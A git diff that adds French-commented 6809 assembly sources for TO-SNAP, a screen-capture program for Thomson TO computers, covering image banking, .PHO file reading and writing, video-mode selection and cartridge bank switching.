diff --git a/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-X1.ASM b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-X1.ASM
new file mode 100755
index 0000000..3226999
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-X1.ASM
@@ -0,0 +1,1186 @@
+ TITLE TO-PHOTO:Traitement
+* ---------------------------------
+ PAGE
+
+****************************************
+* *
+* Traitement *
+* *
+****************************************
+
+
+*=======================================
+* S/P sauvegarde image vers un bank
+*=======================================
+
+SAUVG EQU *
+*---------------------------------------
+
+ LDX #TABBK
+ LDA NUMPHO
+ LDA A,X
+ STA BANKC
+
+SAUVGG EQU *
+*---------------------------------------
+ LDA $E7C3
+ ORA #1
+ STA $E7C3
+
+ LDX #$4000
+ LDY #$A000
+BCOD0 LDD ,X++
+ STD ,Y++
+ CMPX #$4000+8000
+ BNE BCOD0 ->
+
+ LDA $E7C3
+ EORA #1
+ STA $E7C3
+
+ LDX #$4000
+BCOD1 LDD ,X++
+ STD ,Y++
+ CMPX #$4000+8000
+ BNE BCOD1 ->
+ RTS
+
+
+*=======================================
+* S/P codage d'une image vers un bank
+*=======================================
+
+CODPHO EQU *
+*---------------------------------------
+
+ JSR SAUVG
+
+ LDX #TABPHO note photo
+ LDA NUMPHO
+ LDB #1
+ STB A,X
+ LDX #TABMOD note mode photo
+ LDB SCRMOD mode vidéo
+ STB A,X
+
+ LDA TOUR sauve tour
+ STA TOUPHO
+
+ LDX #TMNGR sauve mode basic
+BNMBA0 LDA ,X
+ CMPA #$FF
+ BEQ PBMOBA ->
+ CMPA SCRMOD
+ BEQ OKMOBA ->
+ LEAX 17,X
+ BRA BNMBA0 ->
+PBMOBA LDX #TMNGR
+OKMOBA LDA 1,X
+ STA MBSPHO
+
+ LDA #16 sauve palette
+ LDX #PALETE
+ LDY #PALPHO
+BCDPA LDU ,X++
+ STU ,Y++
+ DECA
+ BNE BCDPA ->
+
+ RTS
+
+
+*=======================================
+* S/P ecriture d'un fichier .PHO à
+* partir de la photo courante
+*
+* Entrée: NUMPHO
+* FILNAM
+* Sortie: Cy =1 si erreur
+*=======================================
+
+ECRPHO PSHS D,X,Y
+ LEAS -1,S
+MEMBK SET 0
+*---------------------------------------
+
+ CLR $E7E4
+ LDA BANKC
+ STA MEMBK,S
+
+* Une photo codée peut dépasser dans
+* certains cas les 16k !!! pour garder
+* la compatibilité de format on accèpte
+* cette bizarerie et on procède :
+* -sauvegarde de la zone $9000-$9FFF
+* vers le bank DBKPIL qui ne doit pas
+* être actif.
+* -codage de $9000 à DFFF sur bank
+* BKMANO
+* - écriture fichier
+* -restauration zone $9000-9FFF
+
+ LDA #DBKPIL
+ STA BANKC
+ LDX #$9000
+ LDY #$A000
+BSOVFE LDD ,X++
+ STD ,Y++
+ CMPX #$A000
+ BNE BSOVFE ->
+ LDA BKMANO
+ STA BANKC
+
+ DECA
+ STA DEBZON+2
+ LDD #$9002
+ STD DEBZON
+ CLR PUTFLG
+ LDB #$FF
+ STB PASSCD
+ CLR WITH
+ LDA #1
+ STA X0COD
+ CLR Y0COD
+ LDB #40
+ LDA SCRMOD
+ BITA #$C0
+ BEQ ECCO ->
+ ADDB #40
+ECCO STB X1COD
+ LDB #24
+ STB Y1COD
+ LDB #CODE
+ JSR EXTRA
+ COM WITH
+
+* Ajout d'un descripteur
+* octet 0..1 : mode hard
+* octet 2..3 : couleur tour
+* octet 4..5 : mode basic
+* octets 6..37 : palette
+* octets 38-39 : $A55A
+
+ LDA NUMPHO
+ LDX #TABBK
+ LDA A,X
+ STA BANKC
+ LDY #BUF ajout enveloppe
+ CLRA mode hard
+ LDB SCRMOD
+ STD ,Y++
+ LDB TOUPHO tour
+ STD ,Y++
+ LDB MBSPHO mode basic
+ STD ,Y++
+ LDA #32
+ LDU #PALPHO
+BMMPA LDD ,U++
+ ANDA #$0F
+ STD ,Y++
+ CMPU #PALPHO+32
+ BNE BMMPA ->
+ LDD #$A55A
+ STD ,Y++ ajout soco
+
+ LDA BKMANO
+ STA BANKC
+ LDX #BUF
+ LDY LSTBYT
+ TFR Y,D
+ LSRB
+ BCC BMMPA0 ->
+ CLR ,Y+ descript. adr
+BMMPA0 LDA #40 paire
+BMMPA1 LDB ,X+
+ STB ,Y+
+ DECA
+ BNE BMMPA1 ->
+
+ LEAY -$9002,Y calcul longueur
+ STY $9000
+
+ LDA #SQO #ouverture
+ STA FILMOD
+ LDA #2
+ STA FILTYP type
+ CLR ASCFLG binaire
+ LDB #OPEN
+ JSR EXTRA
+ TSTB
+ LBNE ECALO erreur ->
+
+ CLRA #en tete bloc
+ JSR ECRFIC
+ LBCS ECALF ->
+ LDA $9000 longueur!
+ JSR ECRFIC
+ LBCS ECALF ->
+ LDA $9001
+ JSR ECRFIC
+ LBCS ECALF ->
+ CLRA
+ JSR ECRFIC
+ LBCS ECALF ->
+ JSR ECRFIC
+ LBCS ECALF ->
+
+ LDX #$9002 #données
+ LDY $9000
+ECAL1 LDA ,X+
+ JSR ECRFIC
+ LBCS ECALF erreur ->
+ LEAY -1,Y
+ BNE ECAL1 ->
+
+ LDA #$FF #bloc fin
+ JSR ECRFIC
+ LBCS ECALF ->
+ CLRA
+ LDB #4
+BECBFI JSR ECRFIC
+ LBCS ECALF ->
+ DECB
+ BNE BECBFI ->
+
+ LDB #CLOSE # fin normale
+ JSR EXTRA
+
+ LDA #DBKPIL restaure $9000..
+ STA BANKC
+ LDX #$9000
+ LDY #$A000
+BRESFE LDD ,Y++
+ STD ,X++
+ CMPX #$A000
+ BNE BRESFE ->
+ ANDCC #$FE
+ BRA ECALF ->
+
+ECALO STB BUF # erreur OPEN
+ LDA #DBKPIL restaure $9000..
+ STA BANKC
+ LDX #$9000
+ LDY #$A000
+BRESF5 LDD ,Y++
+ STD ,X++
+ CMPX #$A000
+ BNE BRESF5 ->
+ JSR SELDEF # éditer erreur
+ LDB BUF
+ JSR DOSERR
+ ORCC #$01
+
+ECALF TFR CC,B
+ LDA MEMBK,S
+ STA BANKC
+ TFR B,CC
+ LEAS 1,S
+ PULS D,X,Y,PC
+
+
+*=======================================
+* S/P décodage d'une image
+* L'entrée DCCPHO permet d'utiliser
+* deux pages physiques en commutatio
+* et donc d'accélerer l'affichage
+* Tout nouvel affichage devra
+* cependant etre précédé d'un appel
+* de FORCV0 pour forcer le retour
+* en page 0 qui seul permet les
+* écritures standards
+*=======================================
+
+DCCPHO LEAS -1,S
+PAG0 SET 0
+ LDA #1
+ STA PAG0,S
+ BRA DCCPH ->
+*---------------------------------------
+
+DECPHO LEAS -1,S
+ CLR PAG0,S
+*---------------------------------------
+DCCPH LDX #TABPHO
+ LDA NUMPHO
+ TST A,X
+ BNE DECS0 ->
+ LDB #$1B
+ JSR PUTC
+ LDB #$69
+ JSR PUTC
+ LDB #FF
+ JSR PUTC
+ LDB #$1B
+ JSR PUTC
+ LDB #$68
+ JSR PUTC
+ LEAS 1,S
+ RTS ->>
+
+* décodage image
+DECS0 LDX #TABBK
+ LDA A,X
+ STA BANKC
+ BRA DCVAZY ->
+
+RESTGG EQU *
+ LEAS -1,S
+ LDA #-1
+ STA PAG0,S
+*---------------------------------------
+
+DCVAZY STS BUF
+ ORCC #$50
+ CLR $E7E4 Accès registres
+ LDA BANKC alimenter bkmano
+ LDB BKMANO par la photo au
+
+ LDY #$A000 format "vidéo"
+ LEAS 8000,Y
+BDEC0 STA <BANKC
+ LDX ,S++
+ LDU ,S++
+ STB <BANKC
+ STX ,Y++
+ STU ,Y++
+ CMPY #$A000+8000
+ BNE BDEC0 ->
+
+ LDY #$A000
+ LEAS 8192,Y
+BDEC1 STA <BANKC
+ LDX ,Y++
+ LDU ,Y++
+ STB <BANKC
+ STX ,S++
+ STU ,S++
+ CMPY #$A000+8000
+ BNE BDEC1 ->
+
+ LDS BUF
+ ANDCC #$AF
+ TST PAG0,S
+ BMI SDEC01 ->
+ STA <BANKC
+ LDA TOUPHO récup. tour
+ STA TOUR
+ LDA #16 récup. palette
+ LDX #PALPHO
+ LDY #PALETE
+BRCPA LDU ,X++
+ STU ,Y++
+ DECA
+ BNE BRCPA ->
+ JSR SELMOD fixer mode
+
+SDEC01 LDB $E7E4 Visualiser la
+ ANDB #$3F page bkmano
+ TST BKMANO
+ BEQ SDEC00 ->
+ ORB #$80
+SDEC00 ORB TOUR
+ STB $E7DD
+
+ LDA BKVID
+ LDB BKMANO
+ STA BKMANO
+ STB BKVID
+
+ TST PAG0,S
+ BGT FDEC0 ->
+ BSR FORCV0
+
+FDEC0 LEAS 1,S
+ RTS
+
+
+*=======================================
+* S/P de forcage de la page physique 0
+* en page vidéo
+*=======================================
+
+FORCV0 EQU *
+*---------------------------------------
+ TST BKVID
+ BNE FFORCV ->
+ RTS ->>
+
+FFORCV LDA BKVID copier la meme
+ LDB BKMANO visu en page 0
+ LDY #$A000 (la seule accédee
+* par les routines
+BDEC3 STA <BANKC d'accés en $4000)
+ LDX ,Y
+ LDU 2,Y
+ STB <BANKC
+ STX ,Y++
+ STU ,Y++
+ CMPY #$A000+8000
+ BNE BDEC3 ->
+
+ LDY #$C000
+BDEC4 STA <BANKC
+ LDX ,Y
+ LDU 2,Y
+ STB <BANKC
+ STX ,Y++
+ STU ,Y++
+ CMPY #$C000+8000
+ BNE BDEC4 ->
+
+ LDB $E7E4 visualiser la
+ ANDB #$3F page 0
+ ORB TOUR
+ STB $E7DD
+
+ LDA BKMANO
+ LDB BKVID
+ STA BKVID
+ STB BKMANO
+ RTS
+
+
+*=======================================
+* S/P ecriture sur fichier
+*
+* Entrée: A car. à ecrire
+* Sortie: CY 0 si ok
+* 1 si erreur (fichier sera
+* fermé et détr.
+*=======================================
+
+ECRFIC PSHS B
+ LEAS -2,S
+SCRMEM SET 0
+ERRMEM SET 1
+*---------------------------------------
+ LDB #PRINT
+ JSR EXTRA
+ TSTB
+ BNE ECFIR erreur ->
+ ANDCC #$FE
+ LEAS 2,S
+ PULS B,PC ->>
+
+ECFIR STB ERRMEM,S
+
+ LDA #DBKPIL restaure $9000
+ STA BANKC
+ LDX #$9000
+ LDY #$A000
+BRESF4 LDD ,Y++
+ STD ,X++
+ CMPX #$A000
+ BNE BRESF4 ->
+
+ LDB #CLOSE # erreur PRINT
+ JSR EXTRA
+ LDB #KILL détruire
+ JSR EXTRA
+
+ JSR SELDEF
+ LDB ERRMEM,S
+ JSR DOSERR
+ ORCC #$1
+ LEAS 2,S
+ PULS B,PC ->>
+
+
+*=======================================
+* S/P lecture sur le fichier courant
+*
+* Sortie: A car. lu si ok
+* CY 0 si ok
+* 1 si pb -> erreur traitée
+* fichier fermé
+*=======================================
+
+LECFIC PSHS B
+*---------------------------------------
+ LDB #INPUT
+ JSR EXTRA
+ TSTB
+ BNE LEFIFR erreur ->
+ LDB #78 'bad picture'
+ TST EOFFLG si eof !
+ BNE LEFIFR ->
+ LDA CARCOU
+ ANDCC #$FE
+ PULS B,PC ->>
+
+LEFIFR JSR SELDEF
+ JSR DOSERR
+ LDB #CLOSE
+ JSR EXTRA
+ ORCC #1
+ PULS B,PC ->>
+
+
+*=======================================
+* S/P chargement d'une photo
+* Cette derniere est supposé au
+* format MAP avec optionnellement la
+* palette derrière la map si issu d
+* TO-SNAP !
+*
+* Entrée: NUMPHO no photo sélectionnée
+* FILNAM nom fichier
+* A 0 non existance fichier
+* = erreur
+* #0 accepter
+* Sortie: CY 0 ok
+* 1 erreur
+* *ATTENTION* un FENFER de 2 niveaux
+* est exécuté si ok !
+* et si A = 0
+*=======================================
+
+LECPHO PSHS D,X,Y
+ LEAS -4,S
+MEMBK SET 0
+MEMLG SET 1
+MEMMOD SET 3
+PA SET 4
+PB SET 5
+PX SET 6
+*---------------------------------------
+
+* Une photo codée peut dépasser dans
+* certains cas les 16k !!! pour garder
+* la compatibilité de format on accèpte
+* cette bizarerie et on procède :
+* -lecture du fichier sur les deux
+* bank 4k sur DBKPIL puis BKMANO
+* -sauvegarde de la zone $9000-$9FFF
+* vers le bank DBKPIL qui ne doit pas
+* être actif. (en $D000)
+* -copie des 4k de DBKPIL vers $9000
+* -décodage photo
+* -restauration zone $9000-9FFF
+* -codage photo vers bank
+
+ LDA #SQI ouverture fich
+ STA FILMOD
+
+ LDB #OPEN
+ JSR EXTRA
+ TSTB
+ BEQ LFVAY ->
+ TST PA,S
+ BEQ LFPBB ->
+ CMPB #62
+ LBEQ FINALR ->
+LFPBB LDA SCRMOD
+ STA BUF
+ JSR SELDEF
+ JSR DOSERR
+ LDA SCRMOD
+ JSR ACTMOD
+ LBRA FINALR erreur ->
+
+* récupérer la longueur du bloc
+
+LFVAY JSR LECFIC
+ LBCS FINALR ->
+ TSTA
+ LBNE FINARR non 0 en tete ->
+ JSR LECFIC lire longueur
+ LBCS FINALR ->
+ TFR A,B
+ JSR LECFIC
+ LBCS FINALR ->
+ EXG A,B
+ CMPD #0
+ LBEQ FINARR vide ->
+ CMPD #$4FFE
+ LBGT FINARR trop grand ->
+ STD MEMLG,S
+
+ JSR LECFIC passer adr bidon
+ LBCS FINALR ->
+ JSR LECFIC
+ LBCS FINALR ->
+
+* Chargement des 4k debut en $A000
+* du bank DBKPIL
+
+ LDA #DBKPIL
+ STA BANKC
+ LDD MEMLG,S
+ TFR D,Y
+ SUBD #$1000
+ BPL C4K1 ->
+ LDU #0 reste
+ BRA C4K2 ->
+C4K1 TFR D,U reste !
+ LDY #$1000
+C4K2 LDX #$A000
+ JSR LECFIC type écran
+ LBCS FINALR ->
+ STA MEMMOD,S
+
+BCA1 STA ,X+
+ LEAY -1,Y
+ BEQ FINAL4 fini ->
+ JSR LECFIC
+ LBCS FINALR ->
+ BRA BCA1 ->
+
+FINAL4 TFR U,Y
+ CMPY #0
+ BEQ FINALC ->
+
+ LDA BKMANO lecture du reste
+ STA BANKC
+ LDX #$A000
+ BRA BCA3 ->
+
+BCA2 STA ,X+
+ LEAY -1,Y
+ LBEQ FINALC fini ->
+BCA3 JSR LECFIC
+ LBCS FINALR ->
+ BRA BCA2 ->
+
+* fin de lecture ok
+
+FINALC LDB #CLOSE
+ JSR EXTRA
+
+ LDA #DBKPIL
+ STA BANKC
+ LDB #8 nom
+ LDA NUMPHO
+ MUL
+ LDX #TABNOM
+ LEAX B,X
+ LDY #FILNAM
+ LDB #8
+BNOMME LDA ,Y+
+ STA ,X+
+ DECB
+ BNE BNOMME ->
+
+* Visualisation
+
+ TST PA,S
+ BNE LFPA1 ->
+ LDB #2
+ JSR FENFER
+
+LFPA1 JSR SELDEF
+ LDB #$1B
+ JSR PUTC
+ LDB #$69
+ JSR PUTC
+ LDB #FF
+ JSR PUTC
+ LDB #$1B
+ JSR PUTC
+ LDB #$68
+ JSR PUTC
+
+ LDA #DBKPIL sauve $9000...
+ STA BANKC
+ LDX #$9000
+ LDY #$D000
+BSOVF1 LDD ,X++
+ STD ,Y++
+ CMPX #$A000
+ BNE BSOVF1 ->
+ LDX #$9000 ajoute debut pho
+ LDY #$A000
+BNEWF1 LDD ,Y++
+ STD ,X++
+ CMPX #$A000
+ BNE BNEWF1 ->
+ LDA BKMANO
+ STA BANKC
+
+* Prise en compte descripteur
+* Si abscence (cas d'un .MAP std)
+* on utilise la palette défaut,
+* le mode MAP et le tour courant
+* Nb: le mode MAP (1er octet format
+* compacté peut être identique
+* pour plusieurs formats...)
+*
+* Format d'un descripteur
+* octet 0..1 : mode hard
+* octet 2..3 : couleur tour
+* octet 4..5 : mode basic
+* octets 6..37 : palette
+* octets 38-39 : $A55A
+
+ LDB #16
+ LDX #PALDEF palette défaut
+ LDY #PALETE
+PALDF1 LDU ,X++
+ STU ,Y++
+ DECB
+ BNE PALDF1 ->
+
+ LDY MEMLG,S test si descript
+ LEAY $9000,Y
+ LEAY -2,Y
+
+ LDD ,Y
+ CMPD #$A55A
+ BNE FINALK ->
+
+ LEAY -37,Y
+ LDA ,Y++ mode hard
+ STA MEMMOD,S
+ LDA ,Y++
+ STA TOUR
+ LEAY 1,Y
+ LDB #16
+ LDX #PALETE
+BLPAL LDU ,Y++
+ STU ,X++
+ DECB
+ BNE BLPAL ->
+
+* fixation mode vidéo après régen.
+
+FINALK LDA #DBKPIL
+ STA BANKC
+ LDX #$9000
+ LDY #$D000
+BRESF2 LDD ,Y++
+ STD ,X++
+ CMPX #$A000
+ BNE BRESF2 ->
+
+ LDA MEMMOD,S
+ JSR ACTMOD
+
+ LDX #$9000 ajoute debut pho
+ LDY #$A000
+BNEWF2 LDD ,Y++
+ STD ,X++
+ CMPX #$A000
+ BNE BNEWF2 ->
+ LDA BKMANO
+ STA BANKC
+
+* Décodage image
+
+ DECA
+ STA DEBZON+2
+ LDD #$9000
+ STD DEBZON
+ LDB #$FF
+ STB PUTFLG
+ CLR WITH
+ LDA #1
+ STA X0COD
+ CLR Y0COD
+ LDB #CODE
+ JSR EXTRA
+ COM WITH
+
+* -restauration zone $9000-9FFF
+
+ LDA #DBKPIL
+ STA BANKC
+ LDX #$9000
+ LDY #$D000
+BRESF1 LDD ,Y++
+ STD ,X++
+ CMPX #$A000
+ BNE BRESF1 ->
+
+* Enregistrement photo
+
+ JSR CODPHO
+
+ ANDCC #$FE
+ LEAS 4,S
+ PULS D,X,Y,PC ->>
+
+FINARR JSR SELDEF
+ LDB #78 'bad picture'
+ JSR DOSERR
+
+FNARR0 LDB #CLOSE
+ JSR EXTRA
+
+FINALR ORCC #1
+ LEAS 4,S
+ PULS D,X,Y,PC
+
+
+*=======================================
+* S/P recherche 1ére photo libre
+*
+* Sortie: Cy 0 ok
+* Cy 1 plus de place
+*=======================================
+
+PHOCH PSHS D,X
+ LEAS -2,S
+NBPHO SET 0
+SCRMEM SET 1
+*---------------------------------------
+ LDA MAXPHO
+ INCA
+ STA NBPHO,S
+ LDX #TABBK
+ LDA NUMPHO
+ LDA A,X
+ STA BANKC
+ BRA BOUCS1 ->
+BOUCS0 JSR PHOSUI
+BOUCS1 LDA NUMPHO
+ LDX #TABPHO
+ TST A,X
+ BEQ BOUCS2 ->
+ DEC NBPHO,S
+ BNE BOUCS0 ->
+ JSR SELDEF
+ LDX #MPLEIN
+ JSR FENERR
+ ORCC #$01
+ LEAS 2,S
+ PULS D,X,PC ->>
+BOUCS2 ANDCC #$FE
+ LEAS 2,S
+ PULS D,X,PC ->>
+
+
+*=======================================
+* S/P sélection du mode défaut pour
+* dialogue (TO7 palette standard)
+*=======================================
+
+DEFSEL PSHS D,X,Y,U
+ LEAS -1,S
+ACTF SET 0
+*---------------------------------------
+ CLR ACTF,S
+ BRA SELFFF ->
+
+SELDEF PSHS D,X,Y,U
+ LEAS -1,S
+*---------------------------------------
+ JSR FENDES
+ STA ACTF,S
+
+SELFFF LDA #$00 mode
+ STA SCRMOD
+
+ LDA #$00 gate
+ STA >$E7DC
+
+* palette
+
+ LDA #$FF
+ LDX #PALDEF
+ JSR SETP
+
+* Tour
+
+ CLR $E7E4
+ LDB $E7E4
+ ORB #GRIS
+ STB $E7DD
+
+* Extra. mon.
+
+ LDA #NOIR
+ STA COULGR
+ LDB #CHOIX
+ JSR EXTRA
+
+* Fenêtre
+
+ LDD #319
+ STD XR
+
+ TST ACTF,S
+ BPL FSDEF ->
+ JSR FENACT
+FSDEF LEAS 1,S
+ PULS D,X,Y,U,PC ->>
+
+
+*=======================================
+* S/P sélection du mode vidéo bit map 4
+*=======================================
+
+SELM4 EQU *
+*---------------------------------------
+ LDA #$01 mode
+ STA SCRMOD
+
+ LDA #$21 gate
+ STA >$E7DC
+
+* Fenêtre
+
+ LDD #319
+ STD XR
+
+ RTS
+
+
+*=======================================
+* S/P sélection du mode vidéo TO7-70
+*=======================================
+
+SELTO7 EQU *
+*---------------------------------------
+ LDA #$00 mode
+ STA SCRMOD
+
+ LDA #$00 gate
+ STA >$E7DC
+
+* Fenêtre
+
+ LDD #319
+ STD XR
+
+ RTS
+
+
+*=======================================
+* S/P sélection du mode vidéo overlay
+*=======================================
+
+SELOVL EQU *
+*---------------------------------------
+ LDA #$08 mode
+ STA SCRMOD
+
+ LDA #$26 gate
+ STA >$E7DC
+
+* Fenêtre
+
+ LDD #319
+ STD XR
+
+ RTS
+
+
+*=======================================
+* S/P sélection du mode vidéo page 2
+*=======================================
+
+SELPG2 EQU *
+*---------------------------------------
+ LDA #$04 mode
+ STA SCRMOD
+
+ LDA #$25 gate
+ STA >$E7DC
+
+* Fenêtre
+
+ LDD #319
+ STD XR
+
+ RTS
+
+
+*=======================================
+* S/P sélection du mode vidéo page 1
+*=======================================
+
+SELPG1 EQU *
+*---------------------------------------
+ LDA #$02 mode
+ STA SCRMOD
+
+ LDA #$24 gate
+ STA >$E7DC
+
+* Fenêtre
+
+ LDD #319
+ STD XR
+
+ RTS
+
+
+*=======================================
+* S/P sélection du mode vidéo 80 colonne
+*=======================================
+
+SEL80C EQU *
+*---------------------------------------
+ LDA #$80 mode
+ STA SCRMOD
+
+ LDA #$2A gate
+ STA >$E7DC
+
+* Fenêtre
+
+ LDD #639
+ STD XR
+
+ RTS
+
+
+*=======================================
+* S/P sélection du mode vidéo bit map 16
+*=======================================
+
+SELM16 EQU *
+*---------------------------------------
+ LDA #$40 mode
+ STA SCRMOD
+
+ LDA #$7B gate
+ STA >$E7DC
+
+* Fenêtre
+
+ LDD #159
+ STD XR
+
+ RTS
+
+
+*=======================================
+* S/P sélection du mode vidéo triple ovl
+*=======================================
+
+SELTOV EQU *
+*---------------------------------------
+ LDA #$20 mode
+ STA SCRMOD
+
+ LDA #$3F gate
+ STA >$E7DC
+
+* Fenêtre
+
+ LDD #159
+ STD XR
+
+ RTS
+
+
+*=======================================
+* S/P sélection du bon mode vidéo
+*=======================================
+
+SELMOD PSHS A,X
+*---------------------------------------
+ LDA NUMPHO
+ LDX #TABPHO
+ TST A,X
+ BNE SBM0 ->
+ LBSR SELDEF
+ PULS A,X,PC ->>
+SBM0 LDX #TABMOD
+ LDA A,X
+ BSR ACTMOD
+ PULS A,X,PC ->>
+
+ACTMOD PSHS D,X,Y,U
+ LEAS -1,S
+ACTF SET 0
+PA SET 1
+*---------------------------------------
+ JSR FENDES
+ STA ACTF,S
+
+ LDA PA,S
+ LSLA
+ BCC SBM1 ->
+ LBSR SEL80C
+ BRA SBMF ->
+SBM1 LSLA
+ BCC SBM2 ->
+ LBSR SELM16
+ BRA SBMF ->
+SBM2 LSLA
+ BCC SBM3 ->
+ LBSR SELTOV
+ BRA SBMF ->
+SBM3 LSLA
+ LSLA
+ BCC SBM4 ->
+ LBSR SELOVL
+ BRA SBMF ->
+SBM4 LSLA
+ BCC SBM5 ->
+ LBSR SELPG2
+ BRA SBMF ->
+SBM5 LSLA
+ BCC SBM6 ->
+ LBSR SELPG1
+ BRA SBMF ->
+SBM6 LSLA
+ BCC SBM7 ->
+ LBSR SELM4
+ BRA SBMF ->
+
+SBM7 LBSR SELTO7
+
+* palette
+
+SBMF LDA #$FF
+ LDX #PALETE
+ JSR SETP
+
+* Tour
+
+ CLR $E7E4
+ LDB $E7E4
+ ORB TOUR
+ STB $E7DD
+
+* Extra. mon.
+
+ LDA #NOIR
+ STA COULGR
+ LDB #CHOIX
+ JSR EXTRA
+
+ TST ACTF,S
+ BPL FSTMF ->
+ JSR FENACT
+FSTMF LEAS 1,S
+ PULS D,X,Y,U,PC ->>
+
+
+*=======================================
+* S/P calcul du No de photo suivant
+* et positionnement bank
+*=======================================
+
+PHOSUI PSHS A
+*---------------------------------------
+ LDA NUMPHO
+ INCA
+ CMPA MAXPHO
+ BLE BOUCS9 ->
+ CLRA
+BOUCS9 STA NUMPHO
+ LDX #TABBK
+ LDA A,X
+ STA BANKC
+ PULS A,PC ->>
+
+
+*=======================================
+* S/P calcul du No de photo précédent
+*=======================================
+
+PHOPRE PSHS A
+*---------------------------------------
+ LDA NUMPHO
+ DECA
+ BGE BOUCS8 ->
+ LDA MAXPHO
+BOUCS8 STA NUMPHO
+ LDX #TABBK
+ LDA A,X
+ STA BANKC
+ PULS A,PC ->>
diff --git a/code/3rdparty/sources5-hmel/TO-SNAP/SNAP.ASM b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP.ASM
new file mode 100755
index 0000000..5cec9c6
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP.ASM
@@ -0,0 +1,307 @@
+ TITLE TO-SNAP:
+* ------------------------------
+ PAGE
+
+****************************************
+* *
+* Capture d'écran sur TO *
+* *
+****************************************
+* *
+* Sources: *
+* *
+* FEN-EQU.ASM Equates du fenêtrage *
+* SNAP-EQ.ASM Equates *
+* SNAP-CN.ASM Constantes *
+* SNAP-X1.ASM Traitement *
+* SNAP-MN.ASM Gestion menus *
+* SNAP-SP.ASM Gestion S/P *
+* SNAP-PR.ASM Programme principal *
+* SNAP .ASM Structure *
+* *
+****************************************
+* *
+* Exécutable destiné à être chargé en *
+* aplication avec le module de *
+* fenêtrage FEN.BIN *
+* *
+****************************************
+* *
+* Carte mémoire: *
+* *
+** Banks RAM cartouche *
+* *
+* No 1 : Soft, constantes et données *
+* pseudo statique (motifs...) *
+* No 2 : En $1800, S/P de fenêtrage *
+* En $20, S/P de recopie des *
+* S/P FEN vers $7800 *
+* *
+** Banks données : *
+* *
+* bank 2 : Manoeuvre *
+* bank 3 *
+* .. 6 : Pile des fenêtres *
+* bank 7 *
+* ... : Photos courante (pellicule) *
+* *
+** RAM "en ligne" *
+* *
+* $0000..$3FFF: Soft, constantes et *
+* données pseudo stati- *
+* ques (cartouche) *
+* $6000..$62FF: RAM moniteur/extramon *
+* $6300..$67FF: Pile (#1ko) *
+* $6800..$6FFF: RAM soft (2ko) *
+* $7000..$77FF: Zones DOS 5 dsk 2fic. *
+* $7800..$9FFF: Copie active des S/P *
+* de fenêtrage (10ko) *
+* $A000..$DFFF: Manoeuvre *
+* *
+****************************************
+* *
+* Production: *
+* Sous TO-PROG: *
+* *
+* - Charger SNAP.BIN (base $0000) *
+* - Charger FEN.BIN (base $5800) *
+* - Créer TO-SNAP.CHG à partir de *
+* $0000..$7FFF non image mémoire *
+* - Activer ce fichier en applica- *
+* tion grace à ACT-APPL.BAS *
+* *
+* Sous CR-APPLI: *
+* *
+* - Charger SNAP.BIN (base $0000) *
+* - Charger FEN.BIN (base $5800) *
+* - Créer TO-SNAP.CHG *
+* *
+****************************************
+
+
+BASEF EQU $7800 implant. soft
+* fenêtrage !!!
+
+ INCLUD FEN-EQU équates FEN
+
+ INCLUD SNAP-EQ
+
+****************************************
+
+ SETDP $E7
+
+*
+* En tête cartouche No 1
+* enlever les commentaires pour TO-PROG
+*---------------------------------------
+
+* ORG 0
+
+* FCC 'TO-SNAP'
+* FCB 4,0
+* FCB 0,0,0,0,0,0,0,0
+* FCB 0,0,0,0,0,0,0,0
+* FCB $7B soco
+* FCB 0
+* FDB L0022
+* FDB L0022
+*L0020 FDB $A55A
+
+ ORG $22
+
+ LBRA DEBUT ------>
+
+
+* Séquence de commutation vers les S/P
+* en cartouche no 2
+*---------------------------------------
+
+COMBK2 INC >$E7E6
+ LEAU -$4000,U
+ JSR ,U
+ PSHS CC
+ DEC >$E7E6
+ PULS CC
+ RTS
+
+* Séquence de commutation vers les S/P
+* en cartouche no 1
+*---------------------------------------
+
+ DEC >$E7E6
+ JSR ,U
+ PSHS CC
+ INC >$E7E6
+ PULS CC
+ RTS
+
+****************************************
+
+ INCLUD SNAP-CN
+
+ INCLUD SNAP-MN
+
+ INCLUD SNAP-X1
+
+ INCLUD SNAP-SP
+
+****************************************
+
+ INCLUD SNAP-PR
+
+****************************************
+
+
+*
+* En tête cartouche No 2
+* enlever les commentaires pour TO-PROG
+*---------------------------------------
+
+* ORG $4000
+*
+* FCC 'TO-SNAP'
+* FCB 4,0
+* FCB 0,0,0,0,0,0,0,0
+* FCB 0,0,0,0,0,0,0,0
+* FCB $7B soco
+* FCB 0
+* FDB L0022
+* FDB L0022
+*LL0020FDB $A55A
+
+ ORG $4022
+
+ LBRA DEBUT ------>
+
+
+* Séquence de commutation vers les S/P
+* en cartouche no 2
+*---------------------------------------
+
+ INC >$E7E6
+ LEAU -$4000,U
+ JSR ,U
+ PSHS CC
+ DEC >$E7E6
+ PULS CC
+ RTS
+
+* Séquence de commutation vers les S/P
+* en cartouche no 1
+*---------------------------------------
+
+COMBK1 DEC >$E7E6
+ JSR ,U
+ PSHS CC
+ INC >$E7E6
+ PULS CC
+ RTS
+
+* S/P de la cartouche no 2
+*---------------------------------------
+
+
+*=======================================
+* Auto-copie $1800..$3FFF vers $7800
+* (S/P fenêtrage)
+*=======================================
+FENRAM EQU *
+*---------------------------------------
+ LDX #$1800
+ LDY #$7800
+BCPIF1 LDD ,X++
+ STD ,Y++
+ CMPX #$4000
+ BNE BCPIF1 ->
+ RTS
+
+
+*=======================================
+* S/P appel du boot sur disquette ...
+* en cas d'échec, la routine monit.
+* fait un JMP [001E] ... c'est
+* pourquoi, ce vecteur est utilisé
+* pour brancher sur le traitement
+* échec !!!
+* Sortie: CY 1 si pb
+*=======================================
+BOOT EQU *
+*---------------------------------------
+
+ LDA >$E7E6 autorise écrit
+ ORA #$40 cartouche
+ STA >$E7E6
+ LDU #PBBOOT-$4000
+ STU >$001E
+ LDA >$E7E6 interdit écrit
+ ANDA #$BF
+ STA >$E7E6
+
+ LDA #$01 init. ctrl dsk
+ STA DKOPC
+ JSR DKCO
+
+ LDA #$20 posit piste 0
+ STA DKOPC
+ JSR DKCO
+
+ LDA >$E7C3 moniteur bk 0
+ ANDA #$EF
+ STA >$E7C3
+
+ LDS #$60CC
+
+* une séquence d'effacement appelée
+* par le programme chargé réalise
+* une initialisation d'un zone
+* pointée par $601c à $601e... zone
+* dans laquelle peut justement se
+* trouver le programme (MGT !)
